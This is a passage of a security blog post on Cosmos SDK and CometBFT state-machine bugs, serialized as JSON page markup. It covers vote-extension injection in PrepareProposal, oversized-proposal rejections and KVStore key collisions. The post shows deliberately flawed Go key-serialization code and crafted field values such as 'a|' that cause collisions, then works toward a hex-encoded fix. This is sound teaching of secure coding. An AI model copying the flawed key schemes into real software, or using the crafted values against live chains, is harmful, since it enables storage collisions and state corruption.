:29,"value":5333},{"type":23,"tag":504,"props":86496,"children":86497},{"class":5016,"line":5367},[86498,86502,86506,86510],{"type":23,"tag":504,"props":86499,"children":86500},{"style":5067},[86501],{"type":29,"value":62790},{"type":23,"tag":504,"props":86503,"children":86504},{"style":5030},[86505],{"type":29,"value":83982},{"type":23,"tag":504,"props":86507,"children":86508},{"style":5058},[86509],{"type":29,"value":4367},{"type":23,"tag":504,"props":86511,"children":86512},{"style":5041},[86513],{"type":29,"value":85703},{"type":23,"tag":504,"props":86515,"children":86516},{"class":5016,"line":5388},[86517],{"type":23,"tag":504,"props":86518,"children":86519},{"style":5058},[86520],{"type":29,"value":60946},{"type":23,"tag":504,"props":86522,"children":86523},{"class":5016,"line":5397},[86524,86529,86533,86537,86541,86546,86550,86555,86559,86563,86567,86571],{"type":23,"tag":504,"props":86525,"children":86526},{"style":5041},[86527],{"type":29,"value":86528},"            injection",{"type":23,"tag":504,"props":86530,"children":86531},{"style":5058},[86532],{"type":29,"value":4367},{"type":23,"tag":504,"props":86534,"children":86535},{"style":5041},[86536],{"type":29,"value":50483},{"type":23,"tag":504,"props":86538,"children":86539},{"style":5047},[86540],{"type":29,"value":5050},{"type":23,"tag":504,"props":86542,"children":86543},{"style":5041},[86544],{"type":29,"value":86545}," json",{"type":23,"tag":504,"props":86547,"children":86548},{"style":5058},[86549],{"type":29,"value":357},{"type":23,"tag":504,"props":86551,"children":86552},{"style":5139},[86553],{"type":29,"value":86554},"Marshal",{"type":23,"tag":504,"props":86556,"children":86557},{"style":5058},[86558],{"type":29,"value":603},{"type":23,"tag":504,"props":86560,"children":86561},{"style":5041},[86562],{"type":29,"value":86213},{"type":23,"tag":504,"props":86564,"children":86565},{"style":5058},[86566],{"type":29,"value":357},{"type":23,"tag":504,"props":86568,"children":86569},{"style":5041},[86570],{"type":29,"value":86467},{"type":23,"tag":504,"props":86572,"children":86573},{"style":5058},[86574],{"type":29,"value":5200},{"type":23,"tag":504,"props":86576,"children":86577},{"class":5016,"line":5649},[86578,86582,86586,86590,86594],{"type":23,"tag":504,"props":86579,"children":86580},{"style":5067},[86581],{"type":29,"value":60862},{"type":23,"tag":504,"props":86583,"children":86584},{"style":5041},[86585],{"type":29,"value":50584},{"type":23,"tag":504,"props":86587,"children":86588},{"style":5047},[86589],{"type":29,"value":66449},{"type":23,"tag":504,"props":86591,"children":86592},{"style":5030},[86593],{"type":29,"value":83982},{"type":23,"tag":504,"props":86595,"children":86596},{"style":5058},[86597],{"type":29,"value":5333},{"type":23,"tag":504,"props":86599,"children":86600},{"class":5016,"line":5666},[86601,86606,86610,86615,86619,86623,86627,86632,86636,86641,86645,86649],{"type":23,"tag":504,"props":86602,"children":86603},{"style":5041},[86604],{"type":29,"value":86605},"                h",{"type":23,"tag":504,"props":86607,"children":86608},{"style":5058},[86609],{"type":29,"value":357},{"type":23,"tag":504,"props":86611,"children":86612},{"style":5041},[86613],{"type":29,"value":86614},"logger",{"type":23,"tag":504,"props":86616,"children":86617},{"style":5058},[86618],{"type":29,"value":357},{"type":23,"tag":504,"props":86620,"children":86621},{"style":5139},[86622],{"type":29,"value":39455},{"type":23,"tag":504,"props":86624,"children":86625},{"style":5058},[86626],{"type":29,"value":603},{"type":23,"tag":504,"props":86628,"children":86629},{"style":6297},[86630],{"type":29,"value":86631},"\"failed to marshal extended votes\"",{"type":23,"tag":504,"props":86633,"children":86634},{"style":5058},[86635],{"type":29,"value":4367},{"type":23,"tag":504,"props":86637,"children":86638},{"style":6297},[86639],{"type":29,"value":86640},"\"err\"",{"type":23,"tag":504,"props":86642,"children":86643},{"style":5058},[86644],{"type":29,"value":4367},{"type":23,"tag":504,"props":86646,"children":86647},{"style":5041},[86648],{"type":29,"value":50483},{"type":23,"tag":504,"props":86650,"children":86651},{"style":5058},[86652],{"type":29,"value":5200},{"type":23,"tag":504,"props":86654,"children":86655},{"class":5016,"line":5683},[86656,86660,86664,86668],{"type":23,"tag":504,"props":86657,"children":86658},{"style":5067},[86659],{"type":29,"value":62790},{"type":23,"tag":504,"props":86661,"children":86662},{"style":5030},[86663],{"type":29,"value":83982},{"type":23,"tag":504,"props":86665,"children":86666},{"style":5058},[86667],{"type":29,"value":4367},{"type":23,"tag":504,"props":86669,"children":86670},{"style":5041},[86671],{"type":29,"value":85703},{"type":23,"tag":504,"props":86673,"children":86674},{"class":5016,"line":5696},[86675],{"type":23,"tag":504,"props":86676,"children":86677},{"style":5058},[86678],{"type":29,"value":60946},{"type":23,"tag":504,"props":86680,"children":86681},{"class":5016,"line":5705},[86682],{"type":23,"tag":504,"props":86683,"children":86684},{"style":5047},[86685],{"type":29,"value":84582},{"type":23,"tag":504,"props":86687,"children":86688},{"class":5016,"line":5728},[86689],{"type":23,"tag":504,"props":86690,"children":86691},{"style":5058},[86692],{"type":29,"value":5394},{"type":23,"tag":504,"props":86694,"children":86695},{"class":5016,"line":5737},[86696,86701,86705,86709,86713,86718,86722,86727,86731,86735,86739,86743],{"type":23,"tag":504,"props":86697,"children":86698},{"style":5041},[86699],{"type":29,"value":86700},"        defaultRes",{"type":23,"tag":504,"props":86702,"children":86703},{"style":5058},[86704],{"type":29,"value":4367},{"type":23,"tag":504,"props":86706,"children":86707},{"style":5041},[86708],{"type":29,"value":50483},{"type":23,"tag":504,"props":86710,"children":86711},{"style":5047},[86712],{"type":29,"value":78481},{"type":23,"tag":504,"props":86714,"children":86715},{"style":5041},[86716],{"type":29,"value":86717}," h",{"type":23,"tag":504,"props":86719,"children":86720},{"style":5058},[86721],{"type":29,"value":357},{"type":23,"tag":504,"props":86723,"children":86724},{"style":5139},[86725],{"type":29,"value":86726},"defaultPrepareProposal",{"type":23,"tag":504,"props":86728,"children":86729},{"style":5058},[86730],{"type":29,"value":603},{"type":23,"tag":504,"props":86732,"children":86733},{"style":5041},[86734],{"type":29,"value":22333},{"type":23,"tag":504,"props":86736,"children":86737},{"style":5058},[86738],{"type":29,"value":4367},{"type":23,"tag":504,"props":86740,"children":86741},{"style":5041},[86742],{"type":29,"value":86213},{"type":23,"tag":504,"props":86744,"children":86745},{"style":5058},[86746],{"type":29,"value":5200},{"type":23,"tag":504,"props":86748,"children":86749},{"class":5016,"line":5746},[86750],{"type":23,"tag":504,"props":86751,"children":86752},{"style":5047},[86753],{"type":29,"value":83906},{"type":23,"tag":504,"props":86755,"children":86756},{"class":5016,"line":5813},[86757,86762,86766,86771,86775],{"type":23,"tag":504,"props":86758,"children":86759},{"style":5041},[86760],{"type":29,"value":86761},"        proposalTxs",{"type":23,"tag":504,"props":86763,"children":86764},{"style":5047},[86765],{"type":29,"value":78481},{"type":23,"tag":504,"props":86767,"children":86768},{"style":5041},[86769],{"type":29,"value":86770}," defaultRes",{"type":23,"tag":504,"props":86772,"children":86773},{"style":5058},[86774],{"type":29,"value":357},{"type":23,"tag":504,"props":86776,"children":86777},{"style":5041},[86778],{"type":29,"value":86779},"Txs\n",{"type":23,"tag":504,"props":86781,"children":86782},{"class":5016,"line":5821},[86783,86787,86791,86795,86799],{"type":23,"tag":504,"props":86784,"children":86785},{"style":5067},[86786],{"type":29,"value":5314},{"type":23,"tag":504,"props":86788,"children":86789},{"style":5041},[86790],{"type":29,"value":86283},{"type":23,"tag":504,"props":86792,"children":86793},{"style":5047},[86794],{"type":29,"value":66449},{"type":23,"tag":504,"props":86796,"children":86797},{"style":5030},[86798],{"type":29,"value":83982},{"type":23,"tag":504,"props":86800,"children":86801},{"style":5058},[86802],{"type":29,"value":5333},{"type":23,"tag":504,"props":86804,"children":86805},{"class":5016,"line":5851},[86806,86811,86815,86819,86824,86829,86833,86838,86842,86847,86851],{"type":23,"tag":504,"props":86807,"children":86808},{"style":5041},[86809],{"type":29,"value":86810},"            proposalTxs",{"type":23,"tag":504,"props":86812,"children":86813},{"style":5047},[86814],{"type":29,"value":5050},{"type":23,"tag":504,"props":86816,"children":86817},{"style":5139},[86818],{"type":29,"value":79760},{"type":23,"tag":504,"props":86820,"children":86821},{"style":5058},[86822],{"type":29,"value":86823},"([][]",{"type":23,"tag":504,"props":86825,"children":86826},{"style":5467},[86827],{"type":29,"value":86828},"byte",{"type":23,"tag":504,"props":86830,"children":86831},{"style":5058},[86832],{"type":29,"value":78683},{"type":23,"tag":504,"props":86834,"children":86835},{"style":5041},[86836],{"type":29,"value":86837},"injection",{"type":23,"tag":504,"props":86839,"children":86840},{"style":5058},[86841],{"type":29,"value":78702},{"type":23,"tag":504,"props":86843,"children":86844},{"style":5041},[86845],{"type":29,"value":86846},"proposalTxs",{"type":23,"tag":504,"props":86848,"children":86849},{"style":5047},[86850],{"type":29,"value":853},{"type":23,"tag":504,"props":86852,"children":86853},{"style":5058},[86854],{"type":29,"value":5200},{"type":23,"tag":504,"props":86856,"children":86857},{"class":5016,"line":5859},[86858,86863,86867,86871,86875,86879,86883,86888,86892,86897,86901,86905,86909,86913],{"type":23,"tag":504,"props":86859,"children":86860},{"style":5041},[86861],{"type":29,"value":86862},"            h",{"type":23,"tag":504,"props":86864,"children":86865},{"style":5058},[86866],{"type":29,"value":357},{"type":23,"tag":504,"props":86868,"children":86869},{"style":5041},[86870],{"type":29,"value":86614},{"type":23,"tag":504,"props":86872,"children":86873},{"style":5058},[86874],{"type":29,"value":357},{"type":23,"tag":504,"props":86876,"children":86877},{"style":5139},[86878],{"type":29,"value":26763},{"type":23,"tag":504,"props":86880,"children":86881},{"style":5058},[86882],{"type":29,"value":603},{"type":23,"tag":504,"props":86884,"children":86885},{"style":6297},[86886],{"type":29,"value":86887},"\"injected local last commit\"",{"type":23,"tag":504,"props":86889,"children":86890},{"style":5058},[86891],{"type":29,"value":4367},{"type":23,"tag":504,"props":86893,"children":86894},{"style":6297},[86895],{"type":29,"value":86896},"\"height\"",{"type":23,"tag":504,"props":86898,"children":86899},{"style":5058},[86900],{"type":29,"value":4367},{"type":23,"tag":504,"props":86902,"children":86903},{"style":5041},[86904],{"type":29,"value":86213},{"type":23,"tag":504,"props":86906,"children":86907},{"style":5058},[86908],{"type":29,"value":357},{"type":23,"tag":504,"props":86910,"children":86911},{"style":5041},[86912],{"type":29,"value":85543},{"type":23,"tag":504,"props":86914,"children":86915},{"style":5058},[86916],{"type":29,"value":5200},{"type":23,"tag":504,"props":86918,"children":86919},{"class":5016,"line":5891},[86920],{"type":23,"tag":504,"props":86921,"children":86922},{"style":5058},[86923],{"type":29,"value":5394},{"type":23,"tag":504,"props":86925,"children":86926},{"class":5016,"line":5899},[86927,86931,86935,86939,86943,86947],{"type":23,"tag":504,"props":86928,"children":86929},{"style":5067},[86930],{"type":29,"value":17791},{"type":23,"tag":504,"props":86932,"children":86933},{"style":5047},[86934],{"type":29,"value":9185},{"type":23,"tag":504,"props":86936,"children":86937},{"style":5467},[86938],{"type":29,"value":86222},{"type":23,"tag":504,"props":86940,"children":86941},{"style":5058},[86942],{"type":29,"value":357},{"type":23,"tag":504,"props":86944,"children":86945},{"style":5467},[86946],{"type":29,"value":86252},{"type":23,"tag":504,"props":86948,"children":86949},{"style":5058},[86950],{"type":29,"value":12926},{"type":23,"tag":504,"props":86952,"children":86953},{"class":5016,"line":5959},[86954,86959,86963,86967],{"type":23,"tag":504,"props":86955,"children":86956},{"style":5041},[86957],{"type":29,"value":86958},"            Txs",{"type":23,"tag":504,"props":86960,"children":86961},{"style":5058},[86962],{"type":29,"value":17378},{"type":23,"tag":504,"props":86964,"children":86965},{"style":5041},[86966],{"type":29,"value":86846},{"type":23,"tag":504,"props":86968,"children":86969},{"style":5058},[86970],{"type":29,"value":5557},{"type":23,"tag":504,"props":86972,"children":86973},{"class":5016,"line":11093},[86974,86979],{"type":23,"tag":504,"props":86975,"children":86976},{"style":5058},[86977],{"type":29,"value":86978},"        }, ",{"type":23,"tag":504,"props":86980,"children":86981},{"style":5030},[86982],{"type":29,"value":78707},{"type":23,"tag":504,"props":86984,"children":86985},{"class":5016,"line":11111},[86986],{"type":23,"tag":504,"props":86987,"children":86988},{"style":5058},[86989],{"type":29,"value":5403},{"type":23,"tag":504,"props":86991,"children":86992},{"class":5016,"line":11156},[86993],{"type":23,"tag":504,"props":86994,"children":86995},{"style":5058},[86996],{"type":29,"value":5965},{"type":23,"tag":32,"props":86998,"children":86999},{},[87000,87002,87007,87008,87013,87015,87022],{"type":29,"value":87001},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":23,"tag":154,"props":87003,"children":87005},{"className":87004},[],[87006],{"type":29,"value":85372},{"type":29,"value":5110},{"type":23,"tag":154,"props":87009,"children":87011},{"className":87010},[],[87012],{"type":29,"value":85440},{"type":29,"value":87014},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":23,"tag":68,"props":87016,"children":87019},{"href":87017,"rel":87018},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[72],[87020],{"type":29,"value":87021},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":29,"value":87023},", which will later get rejected by CometBTF.",{"type":23,"tag":24,"props":87025,"children":87027},{"id":87026},"the-keymaker",[87028],{"type":29,"value":87029},"The Keymaker",{"type":23,"tag":32,"props":87031,"children":87032},{},[87033,87035,87041,87043,87048],{"type":29,"value":87034},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":23,"tag":154,"props":87036,"children":87038},{"className":87037},[],[87039],{"type":29,"value":87040},"KVStore",{"type":29,"value":87042}," to handle states efficently. In ",{"type":23,"tag":154,"props":87044,"children":87046},{"className":87045},[],[87047],{"type":29,"value":87040},{"type":29,"value":87049},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":23,"tag":32,"props":87051,"children":87052},{},[87053],{"type":29,"value":87054},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":23,"tag":32,"props":87056,"children":87057},{},[87058,87060,87066],{"type":29,"value":87059},"Let's start by considering a scenario where we need to store the ",{"type":23,"tag":154,"props":87061,"children":87063},{"className":87062},[],[87064],{"type":29,"value":87065},"positionMap",{"type":29,"value":87067}," structure mentioned below into storage.",{"type":23,"tag":4743,"props":87069,"children":87071},{"code":87070,"language":78229,"meta":7,"className":78230,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n",[87072],{"type":23,"tag":154,"props":87073,"children":87074},{"__ignoreMap":7},[87075,87091,87108,87124,87143,87158,87165,87182],{"type":23,"tag":504,"props":87076,"children":87077},{"class":5016,"line":5017},[87078,87082,87087],{"type":23,"tag":504,"props":87079,"children":87080},{"style":5030},[87081],{"type":29,"value":34812},{"type":23,"tag":504,"props":87083,"children":87084},{"style":5467},[87085],{"type":29,"value":87086}," VaultId",{"type":23,"tag":504,"props":87088,"children":87089},{"style":5467},[87090],{"type":29,"value":78267},{"type":23,"tag":504,"props":87092,"children":87093},{"class":5016,"line":4868},[87094,87098,87103],{"type":23,"tag":504,"props":87095,"children":87096},{"style":5030},[87097],{"type":29,"value":34812},{"type":23,"tag":504,"props":87099,"children":87100},{"style":5467},[87101],{"type":29,"value":87102}," Username",{"type":23,"tag":504,"props":87104,"children":87105},{"style":5467},[87106],{"type":29,"value":87107}," string\n",{"type":23,"tag":504,"props":87109,"children":87110},{"class":5016,"line":4876},[87111,87115,87120],{"type":23,"tag":504,"props":87112,"children":87113},{"style":5030},[87114],{"type":29,"value":34812},{"type":23,"tag":504,"props":87116,"children":87117},{"style":5467},[87118],{"type":29,"value":87119}," PositionName",{"type":23,"tag":504,"props":87121,"children":87122},{"style":5467},[87123],{"type":29,"value":87107},{"type":23,"tag":504,"props":87125,"children":87126},{"class":5016,"line":5099},[87127,87131,87135,87139],{"type":23,"tag":504,"props":87128,"children":87129},{"style":5030},[87130],{"type":29,"value":34812},{"type":23,"tag":504,"props":87132,"children":87133},{"style":5467},[87134],{"type":29,"value":9469},{"type":23,"tag":504,"props":87136,"children":87137},{"style":5030},[87138],{"type":29,"value":23203},{"type":23,"tag":504,"props":87140,"children":87141},{"style":5058},[87142],{"type":29,"value":5333},{"type":23,"tag":504,"props":87144,"children":87145},{"class":5016,"line":5203},[87146,87150,87154],{"type":23,"tag":504,"props":87147,"children":87148},{"style":5041},[87149],{"type":29,"value":45290},{"type":23,"tag":504,"props":87151,"children":87152},{"style":5058},[87153],{"type":29,"value":78292},{"type":23,"tag":504,"props":87155,"children":87156},{"style":5467},[87157],{"type":29,"value":86292},{"type":23,"tag":504,"props":87159,"children":87160},{"class":5016,"line":5308},[87161],{"type":23,"tag":504,"props":87162,"children":87163},{"style":5058},[87164],{"type":29,"value":5965},{"type":23,"tag":504,"props":87166,"children":87167},{"class":5016,"line":5336},[87168,87172,87177],{"type":23,"tag":504,"props":87169,"children":87170},{"style":5030},[87171],{"type":29,"value":34812},{"type":23,"tag":504,"props":87173,"children":87174},{"style":5467},[87175],{"type":29,"value":87176}," PositionMap",{"type":23,"tag":504,"props":87178,"children":87179},{"style":5047},[87180],{"type":29,"value":87181}," :=\n",{"type":23,"tag":504,"props":87183,"children":87184},{"class":5016,"line":5349},[87185,87190,87194,87199,87203,87207,87211,87216,87220,87224,87228,87233,87237],{"type":23,"tag":504,"props":87186,"children":87187},{"style":5030},[87188],{"type":29,"value":87189},"    map",{"type":23,"tag":504,"props":87191,"children":87192},{"style":5058},[87193],{"type":29,"value":1380},{"type":23,"tag":504,"props":87195,"children":87196},{"style":5467},[87197],{"type":29,"value":87198},"VaultId",{"type":23,"tag":504,"props":87200,"children":87201},{"style":5058},[87202],{"type":29,"value":1422},{"type":23,"tag":504,"props":87204,"children":87205},{"style":5030},[87206],{"type":29,"value":69165},{"type":23,"tag":504,"props":87208,"children":87209},{"style":5058},[87210],{"type":29,"value":1380},{"type":23,"tag":504,"props":87212,"children":87213},{"style":5467},[87214],{"type":29,"value":87215},"Username",{"type":23,"tag":504,"props":87217,"children":87218},{"style":5058},[87219],{"type":29,"value":1422},{"type":23,"tag":504,"props":87221,"children":87222},{"style":5030},[87223],{"type":29,"value":69165},{"type":23,"tag":504,"props":87225,"children":87226},{"style":5058},[87227],{"type":29,"value":1380},{"type":23,"tag":504,"props":87229,"children":87230},{"style":5467},[87231],{"type":29,"value":87232},"PositionName",{"type":23,"tag":504,"props":87234,"children":87235},{"style":5058},[87236],{"type":29,"value":1422},{"type":23,"tag":504,"props":87238,"children":87239},{"style":5467},[87240],{"type":29,"value":87241},"Position\n",{"type":23,"tag":32,"props":87243,"children":87244},{},[87245,87247,87253],{"type":29,"value":87246},"Given that there are two levels of keys in ",{"type":23,"tag":154,"props":87248,"children":87250},{"className":87249},[],[87251],{"type":29,"value":87252},"PositionMap",{"type":29,"value":87254},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":23,"tag":4743,"props":87256,"children":87258},{"code":87257,"language":78229,"meta":7,"className":78230,"style":7},"storageKey := fmt.Sprintf(\n    \"%d%s%s\",\n    vaultId,\n    username,\n    positionName,\n)\n",[87259],{"type":23,"tag":154,"props":87260,"children":87261},{"__ignoreMap":7},[87262,87291,87303,87315,87327,87339],{"type":23,"tag":504,"props":87263,"children":87264},{"class":5016,"line":5017},[87265,87270,87274,87278,87282,87287],{"type":23,"tag":504,"props":87266,"children":87267},{"style":5041},[87268],{"type":29,"value":87269},"storageKey",{"type":23,"tag":504,"props":87271,"children":87272},{"style":5047},[87273],{"type":29,"value":78481},{"type":23,"tag":504,"props":87275,"children":87276},{"style":5041},[87277],{"type":29,"value":84298},{"type":23,"tag":504,"props":87279,"children":87280},{"style":5058},[87281],{"type":29,"value":357},{"type":23,"tag":504,"props":87283,"children":87284},{"style":5139},[87285],{"type":29,"value":87286},"Sprintf",{"type":23,"tag":504,"props":87288,"children":87289},{"style":5058},[87290],{"type":29,"value":5512},{"type":23,"tag":504,"props":87292,"children":87293},{"class":5016,"line":4868},[87294,87299],{"type":23,"tag":504,"props":87295,"children":87296},{"style":6297},[87297],{"type":29,"value":87298},"    \"%d%s%s\"",{"type":23,"tag":504,"props":87300,"children":87301},{"style":5058},[87302],{"type":29,"value":5557},{"type":23,"tag":504,"props":87304,"children":87305},{"class":5016,"line":4876},[87306,87311],{"type":23,"tag":504,"props":87307,"children":87308},{"style":5041},[87309],{"type":29,"value":87310},"    vaultId",{"type":23,"tag":504,"props":87312,"children":87313},{"style":5058},[87314],{"type":29,"value":5557},{"type":23,"tag":504,"props":87316,"children":87317},{"class":5016,"line":5099},[87318,87323],{"type":23,"tag":504,"props":87319,"children":87320},{"style":5041},[87321],{"type":29,"value":87322},"    username",{"type":23,"tag":504,"props":87324,"children":87325},{"style":5058},[87326],{"type":29,"value":5557},{"type":23,"tag":504,"props":87328,"children":87329},{"class":5016,"line":5203},[87330,87335],{"type":23,"tag":504,"props":87331,"children":87332},{"style":5041},[87333],{"type":29,"value":87334},"    positionName",{"type":23,"tag":504,"props":87336,"children":87337},{"style":5058},[87338],{"type":29,"value":5557},{"type":23,"tag":504,"props":87340,"children":87341},{"class":5016,"line":5308},[87342],{"type":23,"tag":504,"props":87343,"children":87344},{"style":5058},[87345],{"type":29,"value":5200},{"type":23,"tag":32,"props":87347,"children":87348},{},[87349],{"type":29,"value":87350},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":23,"tag":4743,"props":87352,"children":87354},{"code":87353},"vaultId = 1,  username = \"2a\", positionName = \"b\"\n    => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\",  positionName = \"b\"\n    => storageKey = \"12ab\"\n",[87355],{"type":23,"tag":154,"props":87356,"children":87357},{"__ignoreMap":7},[87358],{"type":29,"value":87353},{"type":23,"tag":32,"props":87360,"children":87361},{},[87362,87367],{"type":23,"tag":4321,"props":87363,"children":87364},{},[87365],{"type":29,"value":87366},"So, how can we mitigate this issue?",{"type":29,"value":87368},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":23,"tag":4743,"props":87370,"children":87372},{"code":87371,"language":78229,"meta":7,"className":78230,"style":7},"const (\n    Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    username,\n    Seperator,\n    positionName,\n)\n",[87373],{"type":23,"tag":154,"props":87374,"children":87375},{"__ignoreMap":7},[87376,87387,87404,87411,87418,87445,87457,87468,87479,87490,87501,87512],{"type":23,"tag":504,"props":87377,"children":87378},{"class":5016,"line":5017},[87379,87383],{"type":23,"tag":504,"props":87380,"children":87381},{"style":5030},[87382],{"type":29,"value":11701},{"type":23,"tag":504,"props":87384,"children":87385},{"style":5058},[87386],{"type":29,"value":80630},{"type":23,"tag":504,"props":87388,"children":87389},{"class":5016,"line":4868},[87390,87395,87399],{"type":23,"tag":504,"props":87391,"children":87392},{"style":5041},[87393],{"type":29,"value":87394},"    Seperator",{"type":23,"tag":504,"props":87396,"children":87397},{"style":5047},[87398],{"type":29,"value":5050},{"type":23,"tag":504,"props":87400,"children":87401},{"style":6297},[87402],{"type":29,"value":87403}," \"|\"\n",{"type":23,"tag":504,"props":87405,"children":87406},{"class":5016,"line":4876},[87407],{"type":23,"tag":504,"props":87408,"children":87409},{"style":5058},[87410],{"type":29,"value":5200},{"type":23,"tag":504,"props":87412,"children":87413},{"class":5016,"line":5099},[87414],{"type":23,"tag":504,"props":87415,"children":87416},{"emptyLinePlaceholder":15},[87417],{"type":29,"value":5734},{"type":23,"tag":504,"props":87419,"children":87420},{"class":5016,"line":5203},[87421,87425,87429,87433,87437,87441],{"type":23,"tag":504,"props":87422,"children":87423},{"style":5041},[87424],{"type":29,"value":87269},{"type":23,"tag":504,"props":87426,"children":87427},{"style":5047},[87428],{"type":29,"value":78481},{"type":23,"tag":504,"props":87430,"children":87431},{"style":5041},[87432],{"type":29,"value":84298},{"type":23,"tag":504,"props":87434,"children":87435},{"style":5058},[87436],{"type":29,"value":357},{"type":23,"tag":504,"props":87438,"children":87439},{"style":5139},[87440],{"type":29,"value":87286},{"type":23,"tag":504,"props":87442,"children":87443},{"style":5058},[87444],{"type":29,"value":5512},{"type":23,"tag":504,"props":87446,"children":87447},{"class":5016,"line":5308},[87448,87453],{"type":23,"tag":504,"props":87449,"children":87450},{"style":6297},[87451],{"type":29,"value":87452},"    \"%d%s%s%s%s\"",{"type":23,"tag":504,"props":87454,"children":87455},{"style":5058},[87456],{"type":29,"value":5557},{"type":23,"tag":504,"props":87458,"children":87459},{"class":5016,"line":5336},[87460,87464],{"type":23,"tag":504,"props":87461,"children":87462},{"style":5041},[87463],{"type":29,"value":87310},{"type":23,"tag":504,"props":87465,"children":87466},{"style":5058},[87467],{"type":29,"value":5557},{"type":23,"tag":504,"props":87469,"children":87470},{"class":5016,"line":5349},[87471,87475],{"type":23,"tag":504,"props":87472,"children":87473},{"style":5041},[87474],{"type":29,"value":87394},{"type":23,"tag":504,"props":87476,"children":87477},{"style":5058},[87478],{"type":29,"value":5557},{"type":23,"tag":504,"props":87480,"children":87481},{"class":5016,"line":5367},[87482,87486],{"type":23,"tag":504,"props":87483,"children":87484},{"style":5041},[87485],{"type":29,"value":87322},{"type":23,"tag":504,"props":87487,"children":87488},{"style":5058},[87489],{"type":29,"value":5557},{"type":23,"tag":504,"props":87491,"children":87492},{"class":5016,"line":5388},[87493,87497],{"type":23,"tag":504,"props":87494,"children":87495},{"style":5041},[87496],{"type":29,"value":87394},{"type":23,"tag":504,"props":87498,"children":87499},{"style":5058},[87500],{"type":29,"value":5557},{"type":23,"tag":504,"props":87502,"children":87503},{"class":5016,"line":5397},[87504,87508],{"type":23,"tag":504,"props":87505,"children":87506},{"style":5041},[87507],{"type":29,"value":87334},{"type":23,"tag":504,"props":87509,"children":87510},{"style":5058},[87511],{"type":29,"value":5557},{"type":23,"tag":504,"props":87513,"children":87514},{"class":5016,"line":5649},[87515],{"type":23,"tag":504,"props":87516,"children":87517},{"style":5058},[87518],{"type":29,"value":5200},{"type":23,"tag":32,"props":87520,"children":87521},{},[87522],{"type":29,"value":87523},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":23,"tag":32,"props":87525,"children":87526},{},[87527,87529,87535,87536,87542],{"type":29,"value":87528},"Sadly, it doesn't. Since the ",{"type":23,"tag":154,"props":87530,"children":87532},{"className":87531},[],[87533],{"type":29,"value":87534},"username",{"type":29,"value":4478},{"type":23,"tag":154,"props":87537,"children":87539},{"className":87538},[],[87540],{"type":29,"value":87541},"vaultName",{"type":29,"value":87543}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":23,"tag":4743,"props":87545,"children":87547},{"code":87546},"vaultId = 1, username = \"a|\", positionName = \"b\"\n    => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\",  positionName = \"|b\"\n    => storageKey = \"1|a||b\"\n",[87548],{"type":23,"tag":154,"props":87549,"children":87550},{"__ignoreMap":7},[87551],{"type":29,"value":87546},{"type":23,"tag":32,"props":87553,"children":87554},{},[87555],{"type":29,"value":87556},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":23,"tag":4743,"props":87558,"children":87560},{"code":87559,"language":78229,"meta":7,"className":78230,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    usernameEncoded,\n    Seperator,\n    positionNameEncoded\n)\n",[87561],{"type":23,"tag":154,"props":87562,"children":87563},{"__ignoreMap":7},[87564,87575,87590,87597,87604,87611,87632,87648,87686,87693,87730,87737,87757,87772,87808,87815,87850,87857,87884,87895,87906,87917,87929,87940,87948],{"type":23,"tag":504,"props":87565,"children":87566},{"class":5016,"line":5017},[87567,87571],{"type":23,"tag":504,"props":87568,"children":87569},{"style":5030},[87570],{"type":29,"value":11701},{"type":23,"tag":504,"props":87572,"children":87573},{"style":5058},[87574],{"type":29,"value":80630},{"type":23,"tag":504,"props":87576,"children":87577},{"class":5016,"line":4868},[87578,87582,87586],{"type":23,"tag":504,"props":87579,"children":87580},{"style":5041},[87581],{"type":29,"value":87394},{"type":23,"tag":504,"props":87583,"children":87584},{"style":5047},[87585],{"type":29,"value":5050},{"type":23,"tag":504,"props":87587,"children":87588},{"style":6297},[87589],{"type":29,"value":87403},{"type":23,"tag":504,"props":87591,"children":87592},{"class":5016,"line":4876},[87593],{"type":23,"tag":504,"props":87594,"children":87595},{"style":5058},[87596],{"type":29,"value":5200},{"type":23,"tag":504,"props":87598,"children":87599},{"class":5016,"line":5099},[87600],{"type":23,"tag":504,"props":87601,"children":87602},{"emptyLinePlaceholder":15},[87603],{"type":29,"value":5734},{"type":23,"tag":504,"props":87605,"children":87606},{"class":5016,"line":5203},[87607],{"type":23,"tag":504,"props":87608,"children":87609},{"emptyLinePlaceholder":15},[87610],{"type":29,"value":5734},{"type":23,"tag":504,"props":87612,"children":87613},{"class":5016,"line":5308},[87614,87619,87623,87628],{"type":23,"tag":504,"props":87615,"children":87616},{"style":5041},[87617],{"type":29,"value":87618},"usernameEncoded",{"type":23,"tag":504,"props":87620,"children":87621},{"style":5047},[87622],{"type":29,"value":78481},{"type":23,"tag":504,